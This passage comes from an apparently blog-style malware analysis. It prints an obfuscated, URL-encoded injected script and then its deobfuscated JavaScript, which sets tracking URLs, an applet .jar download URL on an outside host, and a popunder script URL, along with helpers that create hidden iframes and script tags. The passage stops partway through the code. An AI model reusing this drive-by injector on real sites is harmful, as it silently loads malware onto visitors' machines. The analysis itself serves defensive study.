%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
